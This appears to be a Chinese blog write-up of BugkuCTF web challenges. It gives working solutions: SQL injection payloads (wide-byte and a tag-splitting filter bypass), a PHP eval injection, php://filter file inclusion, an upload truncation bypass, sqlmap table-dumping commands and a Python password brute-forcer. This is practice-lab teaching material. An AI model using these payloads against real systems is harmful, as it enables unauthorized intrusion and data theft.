BugkuCTF——web篇writeup（持续更新）

╰半夏微凉° 2022-05-29 12:29 241阅读 0赞

# BugkuCTF——web篇writeup #

平台网址：http://ctf.bugku.com/

平台首页：

![70][]

## web2 ##

网址链接：http://120.24.86.145:8002/web2/

页面：

![70 1][]

一看只有好多滑稽，分数也不太高，应该不是很难，F12打开开发者工具看一下

![70 2][]

得到ctf:flag KEY\{Web-2-bugKssNNikls9100\}

## 文件上传测试 ##

链接：http://103.238.227.13:10085/

![70 3][]

![70 4][]

一看是文件上传测试，是文件上传的问题，看一下要求：

1、请上传PHP文件

2、文件上传大小不允许超过1M

先上传php文件试一下

![70 5][]![70 6][]

发现提交后报错，说是非图片文件，那就再上传  接下来就觉得前端验证是图片后缀的验证，上传到服务器时分析的是php文件，不说了  用%00截断或者00截断试试

打开burp抓包工具——设置代理——抓包

![70 7][]

上传的是一个222.png图片，这时候最好别直接上传php的文件用%00 可能存在对文件的内容解析  导致上传失败

最后得到flag：Flag:42e97d465f962c53df9549377b513c7e

## 计算器 ##

链接：http://120.24.86.145:8002/yanzhengma/

![70 8][]

![70 9][]

我们计算一下提交![70 10][]

发现只能输入一个数字，肯定是对提交的内容做了长度限制，打开开发者工具把长度改一下

![70 11][]

因为计算结果为18  长度改为2

![70 12][]

得到flag：flag\{CTF-bugku-0032\}

## web基础$\_GET ##

链接：http://120.24.86.145:8002/get/

![70 13][]

![70 14][]

发现是很简单的代码  提交的数据（get方式）只要what=flag就行

![70 15][]

flag：flag\{bugku\_get\_su8kej2en\}

## web基础$\_POST ##

链接：http://120.24.86.145:8002/post/

![70 16][]

![70 17][]

这里用一下火狐的插件hackbug

![70 18][]

得到flag：flag\{bugku\_get\_ssseint67se\}

## 矛盾 ##

链接：http://120.24.86.145:8002/get/index1.php

![70 19][]

读一下代码  判断输入的num  如果不是数字的话且为1的话输出flag  应了题目的话  自相矛盾，  但是我们有很多方法让num为1但是不是数字  比如num= 1e0.123

![70 20][]

得到flag：flag\{bugku-789-ps-ssdf\}

## web3 ##

网址：http://120.24.86.145:8002/web3/

![70 21][]

![70 22][]

打开网页之后发现一直弹出这个框  是不是特别烦  直接个禁止了

![70 23][]

然后就是一片空白  一片茫然啊  f12看一下

![70 24][]

发现一串很特别的东西  百度一下这是什么码

二话不说  直接粘贴到浏览器上一回车发现flag就出来了

![70 25][]

![70 26][]

直接就出来了

flag：KEY\{J2sa42ahJK-HS11III\}

## sql注入 ##

链接：http://103.238.227.13:10083/

![70 27][]

很明显  查询key表，id=1的string字段

构造payload：http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20\#

![70 28][]

发现没有出来  怎么什么都没有了  继续重头开始  看一下是什么注入

![70 29][]

发现id=1和id=1’都没错  想起了宽字节注入  试一下

![70 30][]

果然  那么就好了构造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'\#

![70 31][]

报错  是引号的问题  那试一下另一种引号

http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from \`key\`\#

这种引号在tab键的上面

![70 32][]

发现还报错  想起了是\#的问题  把\#改成%23

![70 33][]

得到flag：54f3320dc261f313ba712eb3f13a1f6d

## sql注入1 ##

链接：http://103.238.227.13:10087/

目录[(?)][Link 1][\[+\]][Link 2]

访问参数为：?id=x

查找表为key的数据表，id=1值hash字段值

**\[html\]** [view plain][Link 2] [copy][Link 2]

1.  以下是其中一段代码

**\[html\]** [view plain][Link 2] [copy][Link 2]

1.  //过滤sql  
2.  $array = array('table','union','and','or','load\_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');  
3.  foreach ($array as $value)  
4.  \{  
5.      if (substr\_count($id, $value) **>** 0)  
6.      \{  
7.          exit('包含敏感关键字！'.$value);  
8.      \}  
9.  \}  
10.   
11. //xss过滤  
12. $id = strip\_tags($id);  
13.   
14. $query = "SELECT \* FROM temp WHERE id=\{$id\} LIMIT 1";  
15.

首先我们看到这道CTF题的时候  通过代码审计，我们可以知道它过滤了很多关键字，这样一来我们不知道怎么下手，但是它又给出了一段代码，这段代码如果你不注意的话就可能认为是多余的，但是它这段代码就是提示

我们通过百度查一下strip\_tags（）这个函数的作用

## 定义和用法 ##

strip\_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

**注释：**该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

**注释：**该函数是二进制安全的。

## 语法 strip\_tags(string,allow) ##

剥去字符串中的 HTML 标签，但允许使用 <b> 标签：

<?php
    echo strip_tags("Hello <b><i>world!</i></b>","<b>");
    ?>

知道原理后，那么我们就可以直接构造payload了

构造如下http://103.238.227.13:10087/index.php?id=-1 un<br>ion sel<br>ect hash,1 fr<br>om \`key\`\#

最后结果如下：

## SQL注入测试 ##

访问参数为：?id=x

查找表为key的数据表，id=1值hash字段值

以下为其中一段代码：

//过滤sql
    $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
    foreach ($array as $value)
    {
    	if (substr_count($id, $value) > 0)
    	{
    		exit('包含敏感关键字！'.$value);
    	}
    }
    
    //xss过滤
    $id = strip_tags($id);
    
    $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

当前结果：

<table> 
 <tbody> 
  <tr> 
   <td style="vertical-align:top;">id</td> 
   <td style="vertical-align:top;">c3d3c17b4ca7f791f85e#$1cc72af274af4adef</td> 
  </tr> 
  <tr> 
   <td style="vertical-align:top;">title</td> 
   <td style="vertical-align:top;">1</td> 
  </tr> 
 </tbody> 
</table>

得到 flag：

## 本地包含 ##

链接：http://120.24.86.145:8003/

![70 34][]

![70 35][]

分析出hello这个post/get获取的参数值很重要（$\_REQUEST对get，post都能接受）

看一下  直接构造payload就行了  这里用了一个知识

http://120.24.86.145:8003/index.php?hello= 1);print\_r(file("./flag.php%22")

就相当于：`eval( "1);print_r(file("./flag.php%22")"); `

`flag：flag{bug-ctf-gg-99}`

## `变量1` ##

链接：http://120.24.86.145:8004/index1.php

`一个变量，当变量符合要求时输出flag  首先得知args这个变量是七个字符的  想起了全局变量  GLOBALS`

`得到flag：flag{92853051ab894a64f7865cf3c2128b34}`

## web5 ##

链接：http://120.24.86.145:8002/web5/

`随便输个东西提交`

`发现什么都没有  抓包试试`

`发现出来一种码  直接用浏览器自带的工具  开发者工具里的console解码`

`然后回车`

flag：ctf\{whatfk\}

## 头等舱 ##

![70 36][]

链接：http://120.24.86.145:9009/hd.php

![70 37][]

打开之后  发现现实什么也没有  打开源码看一下

![70 38][]

发现有隐藏的元素  所以直接抓包

![70 39][]

得到flag：flag\{Bugku\_k8\_23s\_istra\}

## web4 ##

链接：http://120.24.86.145:8002/web4/

![70 40][]

让查看源代码  我们旧查看源代码  在源代码里找到一段脚本  用js跑一下

![70 41][]

解析后得到：

function checkSubmit()\{var a=document.getElementById("password");if("undefined"!=typeof a)\{if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1\}\}document.getElementById("levelQuest").οnsubmit=checkSubmit;

说如果我们提交的内容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag试一下

![70 42][]

KEY\{J22JK-HS11\}

## flag在index里 ##

链接：http://120.24.86.145:8005/post/

![70 43][]

![70 44][]

![70 45][]

点击下发现什么都没有 不过题目都说了  flag在index里  所以可以直接构造payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php

得到一串码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

base64解码

<html>

<title>Bugku-ctf</title>  
      
<?php  
error\_reporting(0);  
if(!$\_GET\[file\])\{echo '<a href="./index.php?file=show.php">click me? no</a>';\}  
$file=$\_GET\['file'\];  
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))\{  
echo "Oh no!";  
exit();  
\}  
include($file);   
//flag:flag\{edulcni\_elif\_lacol\_si\_siht\}  
?>  
</html>  
<þfl>

得到flag\{edulcni\_elif\_lacol\_si\_siht\}

## 输入密码查看flag ##

网址：http://120.24.86.145:8002/baopo/

![70 46][]

![70 47][]

一看是让输入5位数字密码  而且url就告诉你了让我们用爆破  那就爆破白  密码时从00000到99999一共十万个

用phthon吧  慢慢爆破  虽然有点慢

#coding:utf-8
    import requests
    url='http://120.24.86.145:8002/baopo/?yes'
    value=[]
    for i in range(0,99999):
        if(len(str(i))<5):
            value.append("0"*(5-len(str(i)))+str(i))
        else :
            value.append(str(i))
    data = {'pwd':00000}
    content = requests.post(url,data=data)
    content.encoding='utf-8'
    patch=content.text
    for i in value:
        data = {'pwd':i}
        print  ('尝试密码：',i)
        content = requests.post(url,data=data)
        content.encoding='utf-8'
        html=content.text
        if html != patch:
            print (html)

![70 48][]

最后爆出密码为13579  输入即可得到flag

flag:flag\{bugku-baopo-hah\}

## 点击一百万次 ##

链接：

![70 49][]

打开之后是下面这个样子

![70 50][]

什么也看不出来  F12分析下源码：

![70 51][]

有一个post提交的数据  那就构造一下呗

![70 52][]

得到flag：flag\{Not\_C00kI3Cl1ck3r\}

## 成绩单 ##

链接：http://120.24.86.145:8002/chengjidan/

![70 53][]

这个一看应该是SQL注入  先提交一个数据看看

![70 54][]

发现有一个post数据  那就利用这个数据注入白

先抓包

![70 55][]

然后点击action——>从copy to file

我保存在了   D盘3333.txt

![70 56][]

打开sqlmap

![70 57][]

得到当前使用数据库skctf\_flag

爆表sqlmap -r "D:\\3333.txt" -p id --table -D "skctf\_flag"

![70 58][]

爆f14g的列

![70 59][]

爆字段

![70 60][]

得到flag：BUGKU\{Sql\_INJECT0N\_4813drd8hz4\}

## phpcmsV9 ##

链接：http://120.24.86.145:8001/

![70 61][]

看到这句话  想都没有想  直接扫描了下目录里的txt文件

![70 62][]

根目录下存在flag.txt

直接打开：

![70 63][]

flag{admin_a23-ae2132_key}

[70]: /images/20220529/a908fd8eba8e4bd08a3bfdc861b35074.png
[70 1]: /images/20220529/945cf382eb5b4b46945ec2b50730eafc.png
[70 2]: /images/20220529/1b43de812bba42f28974ae8044aebcba.png
[70 3]: /images/20220529/54c221956a1148e3a2ac9cc7a366fbe1.png
[70 4]: /images/20220529/cb17105cd8774757b1bef1042c965b5c.png
[70 5]: https://img-blog.csdn.net/20180323194805494?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2NzA2ODc4/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70
[70 6]: /images/20220529/5311b8f8c3744b1e81c6133790cf7205.png
[70 7]: /images/20220529/4fb5152a0f074a7c8db55eabed50c058.png
[70 8]: /images/20220529/baecffe3b41748bcb847ca698e8ddea8.png
[70 9]: /images/20220529/84e568526c3846768cd086da8a26f4b4.png
[70 10]: /images/20220529/735384efb2d442f58ee823154f3c3fd8.png
[70 11]: /images/20220529/1f2ed44cab8e45ffba3e03f1196ee308.png
[70 12]: /images/20220529/76c5c8da4d464949b9a1961f6fdebacf.png
[70 13]: /images/20220529/e81e964bd4a646469889cc1cbe0ae837.png
[70 14]: /images/20220529/d2a42ae127594fc8a6df8d4a265d765b.png
[70 15]: /images/20220529/11d8aeafd8ea4fe1ac57e82373b327a2.png
[70 16]: /images/20220529/6be7a64d28ce475f95ff05d0357b1f42.png
[70 17]: /images/20220529/85905031effd493881e5e6cc72d2e973.png
[70 18]: /images/20220529/3eaddc75b6f24f8cbe058195759c01c1.png
[70 19]: /images/20220529/68a4618d4ddd415eb2fc74a707fd37d8.png
[70 20]: /images/20220529/e4255748402041d7b04f873b133a1b40.png
[70 21]: /images/20220529/678a23c9f4614aaebea861a4a7a01724.png
[70 22]: /images/20220529/1ce02609245e4fdd86ca8cc3cc002f1f.png
[70 23]: /images/20220529/6dc0c34291dc44a4a70fcaf7e9175c83.png
[70 24]: /images/20220529/abceda5884424b81bfdcd1148663b925.png
[70 25]: /images/20220529/5591120cecf84b4cbad72675fc5083e2.png
[70 26]: /images/20220529/d8aa437f8207411991dda438b8a952c7.png
[70 27]: /images/20220529/547c9e13c0bf457781460494d38c3f6c.png
[70 28]: /images/20220529/37657e2099fc4a8e91c57bc5c189e4b0.png
[70 29]: /images/20220529/c08dbc8b99004017a961a4ca25eb6403.png
[70 30]: /images/20220529/7c45f02a850a4b28aba475f065474746.png
[70 31]: /images/20220529/13229520d33a402d8e6bb48b6f496e85.png
[70 32]: /images/20220529/8da00898616b449985c9a543da458038.png
[70 33]: /images/20220529/b2147a6241f74bdba480b1bcdd48e1d2.png
[Link 1]: https://blog.csdn.net/qq_36706878/article/details/79437005
[Link 2]: https://blog.csdn.net/qq_36706878/article/details/79437005#
[70 34]: /images/20220529/ade7e147069f4998b3b97a3ad0f7d8ae.png
[70 35]: /images/20220529/11834e1f68c840f18f0bb684175c198e.png
[70 36]: /images/20220529/bfd54549ee93480eb695d2e3e60cdd01.png
[70 37]: /images/20220529/3a66c45e68af456686b3ce826b6e067b.png
[70 38]: /images/20220529/90d5e4e9acdc46ada02e94a3a7e6fb7d.png
[70 39]: /images/20220529/a31ee92d65944cd2bd21b4233c2aa7bb.png
[70 40]: /images/20220529/a7281cb954e944e0872d17da1121b10f.png
[70 41]: /images/20220529/316a7a0ecc654e899f3b12e18e321201.png
[70 42]: /images/20220529/91c784fa75ef4b938a264282cf9ce616.png
[70 43]: /images/20220529/4c36779224714fe3a9d946dc3f81bdcc.png
[70 44]: /images/20220529/883f5b340c624174a7224d03ecb9b5fa.png
[70 45]: /images/20220529/34b3d6548da74fc4ac10fd61701486c4.png
[70 46]: /images/20220529/0f8f0171a49d43f3a38f75cca923b178.png
[70 47]: /images/20220529/48cf16270c374ad3936505519c686635.png
[70 48]: /images/20220529/f976524c6ce54e9a804a6336764545f1.png
[70 49]: /images/20220529/96bf26cba3a645e28d5222ac518dea8a.png
[70 50]: /images/20220529/bc268a75130d4c53adde6a3358f3dca3.png
[70 51]: /images/20220529/c2ba364868a34cafb0449ab18ee74cb8.png
[70 52]: /images/20220529/d4971ae3459d456886d241fc65e86fac.png
[70 53]: /images/20220529/d91e0d3fbbcb4f95bea511dfc06c8573.png
[70 54]: /images/20220529/e0ccea5ab8f841fdbbb6b73ef65891bf.png
[70 55]: /images/20220529/df82065df5844117b08a14f91173d527.png
[70 56]: /images/20220529/8392dd3871ac497d98e63bf9f3e826e2.png
[70 57]: /images/20220529/06ccf52bfbed4cffa0aecab01fb8a4ab.png
[70 58]: /images/20220529/4d6db062bc7843478ae48d98ae3c3fa8.png
[70 59]: /images/20220529/f06c771b6192489380a14c577d06d253.png
[70 60]: /images/20220529/d7600bf508e94234b712b9d574b4b285.png
[70 61]: /images/20220529/4fbd4ac2e9a14f8699db6b2032c7e744.png
[70 62]: /images/20220529/0e52334069554b1d9b71abca85f1e095.png
[70 63]: /images/20220529/c8607f66f9b54196bef52da48f87b869.png